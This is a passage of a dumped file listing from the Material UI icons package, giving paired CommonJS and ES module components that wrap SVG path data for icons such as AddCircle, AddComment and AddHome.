  {
    "path": "packages/mui-icons-material/lib/AddCircleOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'AddCircleOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleOutlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'AddCircleOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleOutlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'AddCircleOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-.55 0-1 .45-1 1v3H8c-.55 0-1 .45-1 1s.45 1 1 1h3v3c0 .55.45 1 1 1s1-.45 1-1v-3h3c.55 0 1-.45 1-1s-.45-1-1-1h-3V8c0-.55-.45-1-1-1m0-5C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'AddCircleOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-.55 0-1 .45-1 1v3H8c-.55 0-1 .45-1 1s.45 1 1 1h3v3c0 .55.45 1 1 1s1-.45 1-1v-3h3c.55 0 1-.45 1-1s-.45-1-1-1h-3V8c0-.55-.45-1-1-1m0-5C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'AddCircleOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'AddCircleOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'AddCircleOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'AddCircleOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'AddCircleOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11h-4v4h-2v-4H7v-2h4V7h2v4h4z\"\n}), 'AddCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11h-4v4h-2v-4H7v-2h4V7h2v4h4z\"\n}), 'AddCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m4 11h-3v3c0 .55-.45 1-1 1s-1-.45-1-1v-3H8c-.55 0-1-.45-1-1s.45-1 1-1h3V8c0-.55.45-1 1-1s1 .45 1 1v3h3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AddCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m4 11h-3v3c0 .55-.45 1-1 1s-1-.45-1-1v-3H8c-.55 0-1-.45-1-1s.45-1 1-1h3V8c0-.55.45-1 1-1s1 .45 1 1v3h3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AddCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11h-4v4h-2v-4H7v-2h4V7h2v4h4z\"\n}), 'AddCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11h-4v4h-2v-4H7v-2h4V7h2v4h4z\"\n}), 'AddCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m5 9h-4v4h-2v-4H7v-2h4V7h2v4h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\")], 'AddCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m5 9h-4v4h-2v-4H7v-2h4V7h2v4h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\")], 'AddCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddComment.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.99 4c0-1.1-.89-2-1.99-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4zM17 11h-4v4h-2v-4H7V9h4V5h2v4h4z\"\n}), 'AddComment');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddComment.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.99 4c0-1.1-.89-2-1.99-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4zM17 11h-4v4h-2v-4H7V9h4V5h2v4h4z\"\n}), 'AddComment');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCommentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4zm-2 13.17L18.83 16H4V4h16zM13 5h-2v4H7v2h4v4h2v-4h4V9h-4z\"\n}), 'AddCommentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCommentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4zm-2 13.17L18.83 16H4V4h16zM13 5h-2v4H7v2h4v4h2v-4h4V9h-4z\"\n}), 'AddCommentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCommentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4zm-6 7h-3v3c0 .55-.45 1-1 1s-1-.45-1-1v-3H8c-.55 0-1-.45-1-1s.45-1 1-1h3V6c0-.55.45-1 1-1s1 .45 1 1v3h3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AddCommentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCommentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4zm-6 7h-3v3c0 .55-.45 1-1 1s-1-.45-1-1v-3H8c-.55 0-1-.45-1-1s.45-1 1-1h3V6c0-.55.45-1 1-1s1 .45 1 1v3h3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AddCommentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCommentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v16h16l4 4zm-5 9h-4v4h-2v-4H7V9h4V5h2v4h4z\"\n}), 'AddCommentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCommentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v16h16l4 4zm-5 9h-4v4h-2v-4H7V9h4V5h2v4h4z\"\n}), 'AddCommentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCommentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4V4c0-1.1-.9-2-2-2m0 15.17L18.83 16H4V4h16zM13 5h-2v4H7v2h4v4h2v-4h4V9h-4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4v12h14.83L20 17.17V4zm13 7h-4v4h-2v-4H7V9h4V5h2v4h4z\",\n  opacity: \".3\"\n}, \"1\")], 'AddCommentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCommentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4V4c0-1.1-.9-2-2-2m0 15.17L18.83 16H4V4h16zM13 5h-2v4H7v2h4v4h2v-4h4V9h-4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4v12h14.83L20 17.17V4zm13 7h-4v4h-2v-4H7V9h4V5h2v4h4z\",\n  opacity: \".3\"\n}, \"1\")], 'AddCommentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHome.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11c.7 0 1.37.1 2 .29V9l-8-6-8 6v12h7.68c-.43-.91-.68-1.92-.68-3 0-3.87 3.13-7 7-7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21z\"\n}, \"1\")], 'AddHome');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHome.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11c.7 0 1.37.1 2 .29V9l-8-6-8 6v12h7.68c-.43-.91-.68-1.92-.68-3 0-3.87 3.13-7 7-7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21z\"\n}, \"1\")], 'AddHome');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 5.5 6 4.5v1c.7 0 1.37.1 2 .29V9l-8-6-8 6v12h7.68c-.3-.62-.5-1.29-.6-2H6v-9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21z\"\n}, \"1\")], 'AddHomeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 5.5 6 4.5v1c.7 0 1.37.1 2 .29V9l-8-6-8 6v12h7.68c-.3-.62-.5-1.29-.6-2H6v-9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21z\"\n}, \"1\")], 'AddHomeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.53 11.16c1.23-.26 2.4-.18 3.47.14V10c0-.63-.3-1.22-.8-1.6l-6-4.5c-.71-.53-1.69-.53-2.4 0l-6 4.5c-.5.38-.8.97-.8 1.6v9c0 1.1.9 2 2 2h5.68c-.61-1.28-.86-2.77-.55-4.35.52-2.72 2.69-4.91 5.4-5.49\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21z\"\n}, \"1\")], 'AddHomeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.53 11.16c1.23-.26 2.4-.18 3.47.14V10c0-.63-.3-1.22-.8-1.6l-6-4.5c-.71-.53-1.69-.53-2.4 0l-6 4.5c-.5.38-.8.97-.8 1.6v9c0 1.1.9 2 2 2h5.68c-.61-1.28-.86-2.77-.55-4.35.52-2.72 2.69-4.91 5.4-5.49\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21z\"\n}, \"1\")], 'AddHomeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11c.7 0 1.37.1 2 .29V9l-8-6-8 6v12h7.68c-.43-.91-.68-1.92-.68-3 0-3.87 3.13-7 7-7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21z\"\n}, \"1\")], 'AddHomeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11c.7 0 1.37.1 2 .29V9l-8-6-8 6v12h7.68c-.43-.91-.68-1.92-.68-3 0-3.87 3.13-7 7-7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21z\"\n}, \"1\")], 'AddHomeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.5 6 10v9h5.08c-.62-4.3 2.72-8 6.92-8v-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19v-9l6-4.5 6 4.5v1c.7 0 1.37.1 2 .29V9l-8-6-8 6v12h7.68c-.3-.62-.5-1.29-.6-2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21z\"\n}, \"2\")], 'AddHomeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddHomeTwoTone.mjs",
